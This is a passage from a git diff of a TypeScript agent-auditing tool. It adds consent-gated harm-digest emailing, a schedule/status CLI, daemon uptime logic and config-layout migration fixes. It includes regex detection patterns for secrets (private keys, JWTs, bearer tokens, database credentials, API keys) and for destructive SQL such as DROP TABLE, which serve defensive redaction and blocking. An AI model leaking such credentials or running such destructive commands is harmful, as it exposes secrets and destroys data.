+ | { kind: "held"; hits: number; reason: string }
+ | { kind: "failed"; error: string };
+
+/**
+ * Report this scan's harmful findings, if the user asked for that.
+ *
+ * Returns an outcome rather than a boolean so the caller can say something
+ * truthful. "held" in particular is not a failure — a machine below the
+ * threshold, or inside its cooldown, is working exactly as intended, and a line
+ * that called that an error would train people to ignore the line.
+ */
+export async function reportHarm(result: AuditResult): Promise {
+ // ONE switch. `auto` means "scan on a timer AND tell me", because the reason
+ // to put a scan on a timer is to be told — a machine scanning quietly with
+ // nothing to report to is a feature that looks on and does nothing visible.
+ let auto = false;
+ let consentedAt: number | undefined;
+ let intervalDays = 7;
+ try {
+ const config = readConfig();
+ auto = config.audit.auto;
+ consentedAt = config.audit.reportsConsentedAt;
+ // Also the width of a FIRST report's window, so a new machine's opening
+ // digest covers the same period every later one will.
+ intervalDays = config.audit.intervalDays;
+ } catch {
+ // An unreadable config reads as off — the direction that sends nothing.
+ return { kind: "disabled" };
+ }
+ if (!auto) return { kind: "disabled" };
+
+ // `auto` alone is not consent to SEND, on a machine that set it before this
+ // existed. Through 1.0.0 that key meant "scan locally on a timer" — no
+ // account, no network, and the toggle that wrote it said so. Sending is
+ // gated on the separate stamp every current opt-in path writes, so a
+ // machine upgrading into this release keeps scanning and mails nothing until
+ // a person opts in again and sees what that sends. See `audit.reportsConsentedAt`.
+ if (consentedAt === undefined) return { kind: "consent-required" };
+
+ const auth = await getValidAccessToken();
+ if (!auth) {
+ // Expired, revoked, or signed out. NOT an error and NOT a reason to stop
+ // scheduling: auth gates setting the timer up, never the machine's ongoing
+ // work. The scan already succeeded and its result is on the local
+ // dashboard; only the digest is lost, and the remedy needs a human present
+ // anyway. A refresh token quietly expiring must never switch off a
+ // background feature somebody configured months ago.
+ return { kind: "signed-out" };
+ }
+
+ let identity: ReturnType;
+ try {
+ identity = ensureMachineIdentity();
+ } catch (err) {
+ return { kind: "failed", error: err instanceof Error ? err.message : String(err) };
+ }
+
+ const report = buildHarmReport(result, identity.last_reported_at, intervalDays);
+ const hits = report.harmful.reduce((n, p) => n + p.hits, 0);
+
+ try {
+ const res = await submitAuditReport(auth.access_token, {
+ machine_id: identity.machine_id,
+ label: machineLabel(),
+ platform: process.platform,
+ window_from: report.window_from,
+ window_to: report.window_to,
+ harmful: report.harmful,
+ });
+
+ // Persist whatever the server says the next window starts at, INCLUDING when
+ // nothing was mailed. Its answer already accounts for that: a held or failed
+ // digest leaves the watermark where it was, so writing the value back is how
+ // this machine inherits that decision instead of re-deriving it and getting
+ // it subtly wrong.
+ try {
+ recordReportWatermark(res.next_window_from);
+ } catch {
+ // A watermark that did not persist means the next report re-covers this
+ // window. Duplicated findings, never missing ones — and the server's
+ // cooldown bounds how often that can turn into an email.
+ }
+
+ return res.emailed
+ ? { kind: "sent", hits }
+ : { kind: "held", hits, reason: res.reason ?? "not_sent" };
+ } catch (err) {
+ // A 401 here means the session died between `getValidAccessToken` and this
+ // call — rare, and indistinguishable from any other failure as far as this
+ // run is concerned. The next scheduled run will re-check and report
+ // signed-out properly.
+ const error =
+ err instanceof AuthApiError
+ ? `${err.code}: ${err.message}`
+ : err instanceof Error
+ ? err.message
+ : String(err);
+ return { kind: "failed", error };
+ }
+}
+
+/** One line for the scheduled run's stdout/stderr. */
+export function describeOutcome(outcome: HarmReportOutcome): string | null {
+ switch (outcome.kind) {
+ case "disabled":
+ return null; // Say nothing at all to the majority who never opted in.
+ case "consent-required":
+ return "failproofai: scheduled scans are on, but emailing what they find needs a fresh opt-in — run `failproofai audit --schedule` (or visit /settings) to turn digests on";
+ case "signed-out":
+ // Names the two places that can actually fix it. It used to say "sign in
+ // from the audit page", which stopped being true when this release moved
+ // that dialog behind "invite a friend".
+ return "failproofai: emailed reports are on but this machine is signed out — run `failproofai audit --schedule` or visit /settings to resume them";
+ case "sent":
+ return `failproofai: emailed a harm digest (${outcome.hits} finding${outcome.hits === 1 ? "" : "s"})`;
+ case "held":
+ return `failproofai: ${outcome.hits} finding${outcome.hits === 1 ? "" : "s"} reported, no email (${outcome.reason})`;
+ case "failed":
+ return `failproofai: could not send the harm report: ${outcome.error}`;
+ }
+}
diff --git a/src/audit/schedule-cli.ts b/src/audit/schedule-cli.ts
new file mode 100644
index 000000000..8a141e431
--- /dev/null
+++ b/src/audit/schedule-cli.ts
@@ -0,0 +1,352 @@
+/**
+ * `failproofai audit --schedule [days]` / `--no-schedule` / `--status`.
+ *
+ * ## Why this exists
+ *
+ * Until now the only way to turn scheduled audits on was the dashboard's
+ * settings page — a browser. `failproofaid` is a SYSTEM service:
+ * `WantedBy=multi-user.target`, starts at boot, needs no login, survives
+ * logout. That design exists for headless boxes, detached tmux, cron and CI
+ * runners, and not one of those can open a settings page. The feature was
+ * built for machines that had no way to switch it on.
+ *
+ * ## Parity is structural, not a promise
+ *
+ * Every write here goes through the same `updateConfig` the dashboard's server
+ * actions call, and the session goes through the same `auth-store`. There is
+ * one `config.json`, one `audit/session.json`, and one writer function for
+ * each — so "the CLI and the dashboard are always in sync" is a consequence of
+ * the shape rather than something to keep true by hand. Two files, or two
+ * writers, is where that promise starts needing tests to defend it.
+ *
+ * Two doc comments in `app/actions/` used to claim `failproofai config` already
+ * wrote these keys. It never did — the wizard calls `updateConfig` zero times.
+ * Those comments are corrected in this change rather than left describing a
+ * command that did not exist.
+ */
+import { readConfig, updateConfig } from "../hooks/fp-config";
+import { daemonServiceStatus, isDaemonSupportedPlatform } from "../hooks/daemon-service";
+import { readAuth } from "../../lib/auth/auth-store";
+import { readAuditSchedule } from "./audit-schedule";
+import { readDashboardCacheMeta } from "./dashboard-cache";
+import { readMachineIdentity } from "./machine-store";
+import { ensureSignedIn, invalidEmail, LoginError } from "./cli-login";
+import {
+ ANSI_BOLD,
+ ANSI_DIM,
+ ANSI_RESET,
+ brandAnsi,
+ colorsEnabled,
+ outro,
+ step,
+} from "../hooks/tui";
+
+/** Mirrors `fp-config`'s own bounds so the error can name them before writing. */
+const MIN_DAYS = 1;
+const MAX_DAYS = 90;
+
+export class ScheduleCliError extends Error {}
+
+/**
+ * Colour and the spine answer to ONE gate, checked at call time.
+ *
+ * They used to disagree: these helpers emitted ANSI unconditionally while the
+ * frame asked `colorsEnabled`, so a piped `--status` came out as escape codes
+ * with no structure — the worst of both. `colorsEnabled` is false off a TTY and
+ * under `NO_COLOR`, which is exactly when a readout should be plain text.
+ */
+const styled = () => colorsEnabled(process.stdout);
+const wrap = (open: string, s: string) => (styled() ? `${open}${s}${ANSI_RESET}` : s);
+const pink = (s: string) => wrap(brandAnsi("pink"), s);
+const green = (s: string) => wrap(brandAnsi("guide"), s);
+const dim = (s: string) => wrap(ANSI_DIM, s);
+const bold = (s: string) => wrap(ANSI_BOLD, s);
+
+/**
+ * The readout's left margin.
+ *
+ * Deliberately NOT the `│` spine the sign-in uses. A spine means "a flow is
+ * happening, with a beginning and an end"; `--status` is a snapshot of a
+ * machine, and hanging one off a frame that never opened reads as an unfinished
+ * wizard. Alignment does the work here instead.
+ */
+const rail = () => " ";
+
+/**
+ * One labelled row of the `--status` readout.
+ *
+ * A fixed label column so the values line up into a second column that can be
+ * read straight down — the whole point of this command is answering "what is
+ * this machine doing" at a glance, and a ragged left edge makes four facts read
+ * as four sentences.
+ */
+const LABEL_WIDTH = 15;
+function row(label: string, value: string, note?: string): string {
+ const gap = " ".repeat(Math.max(1, LABEL_WIDTH - label.length));
+ return `${rail()} ${dim(label)}${gap}${value}${note ? ` ${dim(note)}` : ""}`;
+}
+
+/**
+ * Turn scheduled audits on, signing in first if needed.
+ *
+ * Scheduling and mailing are ONE decision — the reason to put a scan on a timer
+ * is to be told what it found — so this requires a session, exactly as the
+ * dashboard's `setAutoAuditAction` does. A timer set with nobody to tell is a
+ * switch that reads as on and produces nothing, discoverable only by noticing
+ * that no digest ever arrives.
+ *
+ * The interval is written and then RE-READ, so what is printed is what the
+ * config actually kept — `readIntervalDays` owns the 1..90 clamp and a second
+ * copy of those bounds here would be one more thing to drift.
+ */
+export async function runScheduleOn(
+ daysArg: string | undefined,
+ emailArg?: string,
+): Promise {
+ let days: number | undefined;
+ if (daysArg !== undefined) {
+ const parsed = Number(daysArg);
+ if (!Number.isFinite(parsed) || !Number.isInteger(parsed)) {
+ throw new ScheduleCliError(
+ `\`--schedule\` takes a whole number of days (got: ${daysArg}).`,
+ );
+ }
+ if (parsed < MIN_DAYS || parsed > MAX_DAYS) {
+ throw new ScheduleCliError(
+ `\`--schedule\` must be between ${MIN_DAYS} and ${MAX_DAYS} days (got: ${parsed}).`,
+ );
+ }
+ days = parsed;
+ }
+
+ // Checked here, beside the day count and before anything is drawn or sent: a
+ // typo'd flag should read as a usage error, not as a sign-in that opened a
+ // frame and then gave up.
+ if (emailArg !== undefined) {
+ const bad = invalidEmail(emailArg);
+ if (bad) throw new ScheduleCliError(bad);
+ }
+
+ const { user, prompted } = await ensureSignedIn(emailArg);
+
+ const next = updateConfig({
+ // Stamped in the SAME call that sets `auto`, never separately: this records
+ // that a person completed a sign-in and read the disclosure printed below,
+ // and it is what `reportHarm` gates sending on. A machine that inherited
+ // `auto` from a release where it meant "scan locally" has no stamp and
+ // sends nothing until it comes through here.
+ audit: {
+ auto: true,
+ reportsConsentedAt: Date.now(),
+ ...(days !== undefined ? { intervalDays: days } : {}),
+ },
+ });
+ const interval = next.audit.intervalDays;
+
+ // Two rows rather than one long one: at 80 columns the combined sentence
+ // wrapped, and a wrapped summary loses the spine on its second row.
+ // The third row enumerates what leaves the machine, and it is not optional.
+ // This is the ONLY opt-in path on the headless boxes the whole feature was
+ // built for — the settings panel says "sends: counts, redacted examples, and
+ // this machine's name" and argues in its own comment that a checkable list
+ // beats a stronger claim, and that reasoning applies here at least as much.
+ // The list is the real payload from `report-harm.ts`: machine id, hostname,
+ // platform, the window bounds and the redacted examples.
+ const summary = [
+ `every ${interval} day${interval === 1 ? "" : "s"} · reports to ${user.email}`,
+ "you only hear from it when a scan finds something harmful",
+ "each report sends: finding counts, redacted example commands, this machine's name",
+ ];
+
+ if (prompted) {
+ // A sign-in just drew the frame, so the result continues it and the `└`
+ // closes both at once — rather than the frame ending and a loose line
+ // appearing underneath.
+ step("scheduled audits are on", summary);
+ } else {
+ // Nothing was asked, so nothing was a flow: a spine here would open a frame
+ // that has no beginning.
+ process.stdout.write(
+ `\n${green("✓")} ${bold("scheduled audits are on")}\n` +
+ summary.map((r) => ` ${dim(r)}\n`).join(""),
+ );
+ }
+
+ // The switch is config; whether anything RUNS is the daemon. Saying "on"
+ // without checking would be the same "on but silent" state the settings panel
+ // exists to make visible.
+ warnIfDaemonWontRun();
+
+ if (prompted) {
+ outro("failproofai audit --status · when the next scan is due");
+ } else {
+ process.stdout.write(dim(`\n failproofai audit --status when the next scan is due\n\n`));
+ }
+}
+
+export function runScheduleOff(): void {
+ const before = readConfig().audit.auto;
+ const next = updateConfig({ audit: { auto: false } });
+ if (next.audit.auto) {
+ process.stdout.write("Could not turn scheduled audits off.\n");
+ return;
+ }
+ if (!before) {
+ process.stdout.write(dim("\nScheduled audits were already off.\n\n"));
+ return;
+ }
+ process.stdout.write(
+ `\n${green("✓")} ${bold("scheduled audits are off")}\n` +
+ ` ${dim("nothing runs on a timer and nothing is sent")}\n` +
+ ` ${dim("your session is untouched — sign out from the dashboard for that")}\n\n`,
+ );
+}
+
+/**
+ * What this machine is actually doing.
+ *
+ * The one command with no equivalent anywhere else: on a headless box there was
+ * previously no way to ask whether scheduling was on, when the last scan ran, or
+ * whether the daemon was even up. Every value is read from the same places the
+ * dashboard reads them.
+ */
+export function runScheduleStatus(): void {
+ const config = readConfig();
+ const auth = readAuth();
+ const sched = readAuditSchedule();
+ const meta = readDashboardCacheMeta();
+ const machine = readMachineIdentity();
+ const daemon = daemonServiceStatus();
+
+ const on = config.audit.auto;
+ const out: string[] = [""];
+
+ // The state first and alone, in the accent that matches it — everything below
+ // is detail about a machine that is either doing this or not, and reading the
+ // detail first is reading the answer to a question nobody asked yet.
+ out.push(
+ `${rail()} ${bold("scheduled audit")} ${on ? green("on") : dim("off")}` +
+ (on ? dim(` every ${config.audit.intervalDays} days`) : ""),
+ );
+ out.push(rail());
+
+ // A session whose refresh window has closed cannot mint another access token,
+ // so it is a destination in name only. Showing the address for one would tell
+ // somebody their digests are going somewhere they are not.
+ const live = auth && auth.refresh_expires_at * 1000 > Date.now() ? auth : null;
+ out.push(row("reports to", live ? live.user.email : dim("— signed out")));
+ if (on && !live) {
+ // The state the reporter surfaces as "signed-out". Named here for the same
+ // reason the settings panel names it: the scans keep running, so silence
+ // about the digests would look like the feature failing.
+ out.push(row("", pink("scans continue; digests are paused until you sign in")));
+ } else if (on && config.audit.reportsConsentedAt === undefined) {
+ // Signed in, scheduled, and still not sending: this machine set `audit.auto`
+ // when it only meant "scan locally", so nothing has consented to the digest
+ // leaving the box. Without this row the status screen would show a healthy
+ // schedule and a live address and still mail nothing, with no explanation
+ // anywhere the user can see.
+ out.push(
+ row("", pink("scans continue; digests need a fresh opt-in — run `--schedule` to turn them on")),
+ );
+ }
+
+ out.push(row("daemon", describeDaemon(daemon)));
+
+ if (sched?.nextDueAtMs != null && on) {
+ out.push(row("next scan", untilPhrase(sched.nextDueAtMs)));
+ }
+ if (sched?.lastRunAtMs != null) {
+ const exit = sched.lastExitCode;
+ out.push(
+ row(
+ "last scheduled",
+ agoPhrase(sched.lastRunAtMs),
+ exit != null && exit !== 0 && exit !== 75 ? pink(`exit ${exit}`) : undefined,
+ ),
+ );
+ }
+ out.push(
+ row("last result", meta?.cachedAt ? agoPhrase(Date.parse(meta.cachedAt)) : dim("none yet")),
+ );
+ if (machine?.last_reported_at) {
+ out.push(row("last reported", agoPhrase(Date.parse(machine.last_reported_at))));
+ }
+ out.push("");
+
+ process.stdout.write(out.join("\n"));
+}
+
+function describeDaemon(status: ReturnType): string {
+ switch (status) {
+ case "running":
+ return green("running");
+ case "stopped":
+ return pink("stopped — run `failproofai config` to repair it");
+ case "not-installed":
+ return pink("not installed — run `failproofai config`");
+ case "condition-failed":
+ return pink("installed but its binary is missing — run `failproofai config`");
+ default:
+ return isDaemonSupportedPlatform()
+ ? dim(String(status))
+ : dim("unavailable on this platform");
+ }
+}
+
+/** Printed after turning scheduling on, where the answer changes what to do. */
+function warnIfDaemonWontRun(): void {
+ const status = daemonServiceStatus();
+ if (status === "running") return;
+ // "unknown" is not "broken", and on macOS it is the ORDINARY reading.
+ // `daemonServiceStatus` needs `sudo -n` to interrogate a LaunchDaemon, and a
+ // Mac with no cached sudo credential — the overwhelmingly common state —
+ // answers "unknown" for a service that is running perfectly. Treating every
+ // non-`running` value as a fault told those users "nothing will run on the
+ // timer yet" in the same breath as confirming their schedule was on. The
+ // dashboard already special-cases it; this is the same call.
+ if (status === "unknown") return;
+ if (!isDaemonSupportedPlatform()) {
+ process.stderr.write(
+ `\n ${pink("!")} The background service is not available on this platform,\n` +
+ ` so nothing will run on the timer here. \`failproofai audit\` still works.\n`,
+ );
+ return;
+ }
+ process.stderr.write(
+ `\n ${pink("!")} The background service is ${status.replace("-", " ")}, ` +
+ `so nothing will run on the timer yet.\n` +
+ ` Run \`failproofai config\` to install or repair it.\n`,
+ );
+}
+
+function untilPhrase(ms: number): string {
+ const diff = ms - Date.now();
+ if (diff <= 0) return "due now";
+ const d = Math.floor(diff / 86_400_000);
+ const h = Math.floor((diff % 86_400_000) / 3_600_000);
+ if (d > 0) return `in ${d}d${h > 0 ? ` ${h}h` : ""}`;
+ if (h > 0) return `in ${h}h`;
+ return `in ${Math.max(1, Math.floor(diff / 60_000))}m`;
+}
+
+function agoPhrase(ms: number): string {
+ if (!Number.isFinite(ms)) return "unknown";
+ const diff = Date.now() - ms;
+ if (diff < 0) return "just now";
+ const d = Math.floor(diff / 86_400_000);
+ const h = Math.floor(diff / 3_600_000);
+ const m = Math.floor(diff / 60_000);
+ if (d > 0) return `${d}d ago`;
+ if (h > 0) return `${h}h ago`;
+ if (m > 0) return `${m}m ago`;
+ return "just now";
+}
+
+/** Turn a `LoginError` into the CLI's own error type, keeping its message. */
+export function asScheduleError(err: unknown): never {
+ if (err instanceof LoginError || err instanceof ScheduleCliError) {
+ throw new ScheduleCliError(err.message);
+ }
+ throw err;
+}
diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts
index 44220b2e7..738e630f9 100644
--- a/src/hooks/builtin-policies.ts
+++ b/src/hooks/builtin-policies.ts
@@ -140,6 +140,32 @@ const PRIVATE_KEY_RE = /-----BEGIN (?:[A-Z]+ )?PRIVATE KEY-----/;
// sanitizeBearerTokens
const BEARER_TOKEN_RE = /Authorization:\s*Bearer\s+[A-Za-z0-9\-._~+/]{20,}/i;
+/**
+ * Every pattern the `sanitize-*` policies treat as a secret, as one list.
+ *
+ * Exported so the audit's harm reporter can redact against the SAME definition
+ * of "secret" that the engine blocks on, rather than growing a second pattern
+ * list beside this one. Two lists is the shape that eventually disagrees, and
+ * the direction it disagrees in here is a live credential leaving a machine.
+ *
+ * The `sanitize-*` FUNCTIONS cannot be reused for this — they are detectors that
+ * return a `deny` with a message, not transforms that return scrubbed text. The
+ * patterns are the reusable part, so the patterns are what is shared.
+ *
+ * Ordered most-specific first, which is load-bearing for the API keys: a
+ * generic `sk-[A-Za-z0-9]{20,}` placed before `sk-ant-…` would label an
+ * Anthropic key as an OpenAI one. (It does not currently MATCH one — the
+ * hyphens in `sk-ant-` break the character class — but the ordering is what
+ * makes that a design rather than a coincidence.)
+ */
+export const SECRET_PATTERNS: ReadonlyArray = [
+ [PRIVATE_KEY_RE, "private key"],
+ [JWT_RE, "JWT"],
+ [BEARER_TOKEN_RE, "bearer token"],
+ [CONNECTION_STRING_RE, "database credentials"],
+ ...API_KEY_PATTERNS,
+];
+
// warnDestructiveSql / warnSchemaAlteration
const SQL_TOOL_RE = /\b(?:psql|mysql|sqlite3|pgcli|clickhouse-client)\b/;
const DESTRUCTIVE_SQL_RE = /\b(?:DROP\s+(?:TABLE|DATABASE|SCHEMA)|TRUNCATE\b)/i;
diff --git a/src/hooks/daemon-service.ts b/src/hooks/daemon-service.ts
index 8db0f3740..e447f2ad5 100644
--- a/src/hooks/daemon-service.ts
+++ b/src/hooks/daemon-service.ts
@@ -1797,3 +1797,79 @@ export function daemonServiceStatus(): DaemonServiceStatus {
return "stopped";
}
}
+
+/**
+ * When the running daemon started, as epoch ms — the source for /settings'
+ * "up 11d" sub-line. Null whenever the answer isn't knowable.
+ *
+ * **From the MONOTONIC stamp, not the printed date.** `ActiveEnterTimestamp`
+ * renders in the host's locale and timezone abbreviation (`Fri 2026-08-14
+ * 19:45:13 IST`), which `Date.parse` reads as invalid on most abbreviations and,
+ * worse, silently mis-parses on the few it recognises — a settings page
+ * claiming the daemon started three hours in the future is a worse failure than
+ * one that says nothing. `ActiveEnterTimestampMonotonic` is microseconds since
+ * boot, locale-free, and pairs with a reading of the SAME clock to give the
+ * epoch time back.
+ *
+ * An EPOCH time rather than a duration, so the page keeps counting without
+ * re-fetching: a duration computed on the server is wrong the moment it renders.
+ *
+ * Linux only for now. launchd exposes no equivalent, so macOS would need the
+ * job's pid out of `launchctl print` and then `ps -o etime=` — a SECOND
+ * privileged call on every settings render, since reading a LaunchDaemon in the
+ * system domain needs elevation. The sub-line is not worth doubling the sudo
+ * traffic of the page; the status itself still renders there.
+ */
+export function daemonStartedAtMs(): number | null {
+ if (process.platform !== "linux") return null;
+ if (!existsSync(systemdUnitPath())) return null;
+ try {
+ const raw = execFileSync(
+ "systemctl",
+ ["show", systemdUnitName(), "-p", "ActiveEnterTimestampMonotonic", "--value"],
+ { stdio: ["ignore", "pipe", "ignore"], timeout: SERVICE_CMD_TIMEOUT_MS },
+ )
+ .toString()
+ .trim();
+ // `process.hrtime.bigint()`, not `os.uptime()`. See the note on the
+ // function below: the two count suspend differently, and mixing them is
+ // what produced "up 30d" for a daemon started yesterday.
+ return startedAtFromMonotonic(Number(raw), Math.floor(Number(process.hrtime.bigint()) / 1000), Date.now());
+ } catch {
+ return null;
+ }
+}
+
+/**
+ * The arithmetic behind `daemonStartedAtMs`, split out so it can be tested
+ * without a systemd on the machine running the tests.
+ *
+ * BOTH arguments must be readings of the SAME clock. systemd's
+ * `ActiveEnterTimestampMonotonic` is `CLOCK_MONOTONIC`, which on Linux STOPS
+ * while the machine is suspended; `os.uptime()` reads `/proc/uptime`, which
+ * KEEPS COUNTING through suspend. Subtracting one from the other therefore adds
+ * every second the laptop ever spent asleep to the daemon's apparent age — a
+ * machine that suspends nightly read "up 30d" for a service started yesterday.
+ * The old `< 0` guard caught only the impossible direction; this error is
+ * always positive, so nothing rejected it.
+ *
+ * `process.hrtime.bigint()` is `CLOCK_MONOTONIC` on Linux (libuv's `uv_hrtime`),
+ * the same clock systemd stamped with, so the subtraction is between two points
+ * on one timeline.
+ *
+ * systemd writes 0 for a unit that has never been activated, and a stamp ahead
+ * of the current reading cannot be true — both mean "no answer" rather than a
+ * number, because a wrong uptime is indistinguishable from a right one to the
+ * person reading it.
+ */
+export function startedAtFromMonotonic(
+ activeEnterMonotonicUs: number,
+ monotonicNowUs: number,
+ nowMs: number,
+): number | null {
+ if (!Number.isFinite(activeEnterMonotonicUs) || activeEnterMonotonicUs <= 0) return null;
+ if (!Number.isFinite(monotonicNowUs) || monotonicNowUs <= 0) return null;
+ const activeForMs = (monotonicNowUs - activeEnterMonotonicUs) / 1000;
+ if (activeForMs < 0) return null;
+ return Math.round(nowMs - activeForMs);
+}
diff --git a/src/hooks/fp-config.ts b/src/hooks/fp-config.ts
index 78121448f..2782900fc 100644
--- a/src/hooks/fp-config.ts
+++ b/src/hooks/fp-config.ts
@@ -102,6 +102,20 @@ export function detectLayout(): LayoutState {
// went missing is the exact failure this module exists to prevent, and it
// announced itself as a routine "reorganised your home" message.
if (existsSync(configFile())) {
+ // `config.json` proves layout 3 OR LATER — it cannot tell them apart, since
+ // layout 4 changed nothing about it. What separates the two is solely WHERE
+ // the audit's files sit, so ask that directly: any of layout 3's three
+ // root-level positions still occupied means the 3 → 4 move has not run.
+ //
+ // When none of them exist the two layouts are IDENTICAL on disk (the step
+ // would move nothing), and "current" is the correct, non-destructive answer.
+ const layoutThreePositions = [
+ legacy.authJson(),
+ legacy.nextAudit(),
+ legacy.auditSchedule(),
+ ];
+ if (layoutThreePositions.some((p) => existsSync(p))) return { kind: "stale", found: 3 };
+
// `inferred`: the layout is right but the MARKER is missing, and nothing
// else rewrites it — so every later command re-derives it from a landmark,
// and the daemon version recorded in that file is gone for good
@@ -112,7 +126,16 @@ export function detectLayout(): LayoutState {
// `config.toml` and no `config.json` is genuinely layout 2, and a reset is
// right: its files are the ones being replaced.
- if (existsSync(legacy.configToml())) return { kind: "stale", found: LAYOUT_VERSION - 1 };
+ //
+ // The literal 2, NOT `LAYOUT_VERSION - 1`. That expression was correct while
+ // current was 3 and became a data-loss bug the moment layout 4 landed: it
+ // reported a real layout-2 home as layout 3, so `planMigration` ran only the
+ // 3 → 4 step — which finds none of layout 3's files, moves nothing, and stamps
+ // the home as current. `config.toml` and `credentials.toml` would never be
+ // carried into JSON, orphaning the cloud token and `daemon.configured` on a
+ // machine that now reads as fully migrated. A landmark identifies ONE layout;
+ // it is never relative to whatever this build happens to speak.
+ if (existsSync(legacy.configToml())) return { kind: "stale", found: 2 };
// Layout 1 if any of its landmarks are present, otherwise this is simply a
// home that has not been set up yet.
@@ -187,12 +210,23 @@ export function readVersionFile(): VersionFile | null {
}
}
+/**
+ * Stamp `VERSION`.
+ *
+ * `layout` defaults to {@link LAYOUT_VERSION} — every ordinary caller is saying
+ * "this home now speaks what this build speaks". It is honoured when passed
+ * ONLY so a failed migration can put the marker back where the home actually
+ * is: the signature has always accepted `layout` (it is part of `VersionFile`)
+ * and the body used to ignore it, so a caller asking for 3 silently got 4, and
+ * the one place that needs to ask is the one place where being wrong strands a
+ * half-migrated home as "current" forever. See `runMigrations`.
+ */
export function writeVersionFile(
v: Partial & { /** Erase the daemon version rather than keeping it. */ clearDaemon?: boolean } = {},
): void {
const existing = readVersionFile();
const next: VersionFile = {
- layout: LAYOUT_VERSION,
+ layout: v.layout ?? LAYOUT_VERSION,
cli: v.cli ?? cliVersion,
// `undefined` means "leave whatever is there" — a CLI-only rewrite must not
// drop a daemon version it never touched. Erasing it is therefore an
@@ -274,7 +308,22 @@ export interface FpConfig {
};
audit: {
/**
- * Scan this machine's agent history on a schedule.
+ * Scan this machine on a schedule, and mail a digest when a scan finds
+ * something harmful.
+ *
+ * ONE switch, not two. An earlier revision split this into `auto` (scan
+ * locally, no account) and `email_enabled` (mail me, sign in), and the two
+ * could only ever disagree — a machine scanning on a timer with nothing to
+ * report it to is a feature that looks on and does nothing visible. The
+ * reason to put a scan on a timer is to be TOLD, so scheduling and mailing
+ * are the same decision and take the same switch.
+ *
+ * A signed-out machine with this on is therefore a real, expected state
+ * rather than a contradiction: it keeps scanning and keeps its local
+ * dashboard current, and the UI says "signed out" until somebody signs back
+ * in. Auth gates SETTING it up, never the machine's ongoing work — a
+ * refresh token expiring must not silently switch off a background feature
+ * somebody configured months ago.
*
* OFF by default, and the asymmetry with `telemetry.enabled` above is
* deliberate: the audit reads the CONTENTS of every session transcript on
@@ -282,6 +331,28 @@ export interface FpConfig {
* timer until somebody asks for it.
*/
auto: boolean;
+ /**
+ * When this machine's owner agreed that a scheduled scan may send what it
+ * finds off the box, as epoch ms. Absent means they never did.
+ *
+ * This does NOT reintroduce the second switch the comment above rejects,
+ * and it is never drawn as one. `auto` is what a person sets; this is a
+ * record of the disclosure they were shown when they set it. The two cannot
+ * drift, because every path that turns `auto` on stamps this in the same
+ * call and nothing stamps it alone.
+ *
+ * It exists because `auto` CHANGED MEANING. Through 1.0.0 it meant "scan
+ * this machine on a timer" and nothing more — no account, no network, and
+ * the toggle that wrote it said as much in as many words. Harm digests gave
+ * the same stored bit a second job: uploading redacted transcript excerpts
+ * to the api-server and mailing them. Without a separate record, every
+ * machine that opted into the old meaning would have started sending on
+ * upgrade, having agreed to nothing of the kind, with the only notice a
+ * line in the journal. Gating on the stamp rather than the switch is what
+ * keeps that upgrade silent in the safe direction: those machines keep
+ * scanning locally and send nothing until somebody opts in again.
+ */
+ reportsConsentedAt?: number;
/** Days between scheduled runs. Wall clock, so it survives suspend. */
intervalDays: number;
};
@@ -458,7 +529,17 @@ export function projectConfig(parsed: Record): FpConfig {
// scheduled scan on. Absent, misspelled, or `"yes"` all read as off,
// because the failure direction here is a machine that starts reading
// every transcript it can find on a timer nobody set.
- audit: { auto: audit.auto === true, intervalDays: readIntervalDays(audit.interval_days) },
+ audit: {
+ auto: audit.auto === true,
+ intervalDays: readIntervalDays(audit.interval_days),
+ // A finite number or nothing. A garbage value reads as absent, which is
+ // the direction that sends nothing.
+ reportsConsentedAt:
+ typeof audit.reports_consented_at === "number" &&
+ Number.isFinite(audit.reports_consented_at)
+ ? audit.reports_consented_at
+ : undefined,
+ },
// Same shape as `audit.auto` above and for the same reason: only an
// explicit `true` opts in. Anything else — absent, misspelled, `"yes"` —
// reads as off, because the failure direction is a machine that starts
@@ -504,6 +585,7 @@ const OWNED_CONFIG_KEYS: readonly (readonly string[])[] = [
["telemetry", "enabled"],
["audit", "auto"],
["audit", "interval_days"],
+ ["audit", "reports_consented_at"],
];
const isPlainObject = (v: unknown): v is Record =>
@@ -604,7 +686,16 @@ export function writeConfig(config: FpConfig, raw?: Record): vo
// nobody can see is the same as a switch that does not exist. Emitting both
// keys unconditionally also makes "a user's setting survives a rewrite"
// total rather than conditional.
- audit: { auto: config.audit.auto, interval_days: config.audit.intervalDays },
+ audit: {
+ auto: config.audit.auto,
+ interval_days: config.audit.intervalDays,
+ // Written only once there IS consent, so an untouched machine's config
+ // does not grow a key implying it was asked. It is in
+ // `OWNED_CONFIG_KEYS`, so omitting it here really removes it.
+ ...(config.audit.reportsConsentedAt === undefined
+ ? {}
+ : { reports_consented_at: config.audit.reportsConsentedAt }),
+ },
};
// Start from the previous bytes, strip the keys this build owns — so an
// omission above really removes — then lay the projection on top. What is left
diff --git a/src/hooks/fp-home.ts b/src/hooks/fp-home.ts
index a9f6f6bb9..a5e58d7c2 100644
--- a/src/hooks/fp-home.ts
+++ b/src/hooks/fp-home.ts
@@ -56,7 +56,12 @@
* policies/ every policy: the user's *.mjs sit directly here
* cloud-policies/ the fleet's — flat: active.json, desired-state.json, artifacts/
* cursors// per-source collector watermarks
- * audit/ audit report + per-session cache
+ * audit/ MIXED — see the classification note below
+ * dashboard.json last result (derived)
+ * cache/ per-transcript cache (derived)
+ * schedule.json daemon's scan timer (derived)
+ * session.json 0600 the signed-in user (user-typed)
+ * machine.json this machine's report identity (identity)
* hook-activity/ decision log the dashboard reads
* custom-agents/ SDK spool (events/ + failed/)
* run/ sockets + flock — MUST stay shallow, see below
@@ -88,9 +93,17 @@ import { resolve } from "node:path";
* yields "no data" instead of an error.
*
* 1 — the original flat/`cache`-based layout, through 1.0.0-beta.5.
- * 2 — this file.
+ * 2 — `config.toml` / `credentials.toml`, policies nested two levels down.
+ * 3 — JSON config + credentials, policies flattened back up.
+ * 4 — everything the audit owns moved under `audit/`: the signed-in session
+ * (from `auth.json`), the daemon's scan timer (from
+ * `state/audit-schedule.json`), and the re-audit reminder (from
+ * `next-audit.json`, parked at `audit/reminder.json` and retired in the
+ * same release — see `legacy.auditReminder`). The point is that one
+ * directory now answers "what does the audit know about this machine", the
+ * way `policies/` answers it for enforcement.
*/
-export const LAYOUT_VERSION = 3;
+export const LAYOUT_VERSION = 4;
/**
* `~/.failproofai`, or `FAILPROOFAI_HOME`.
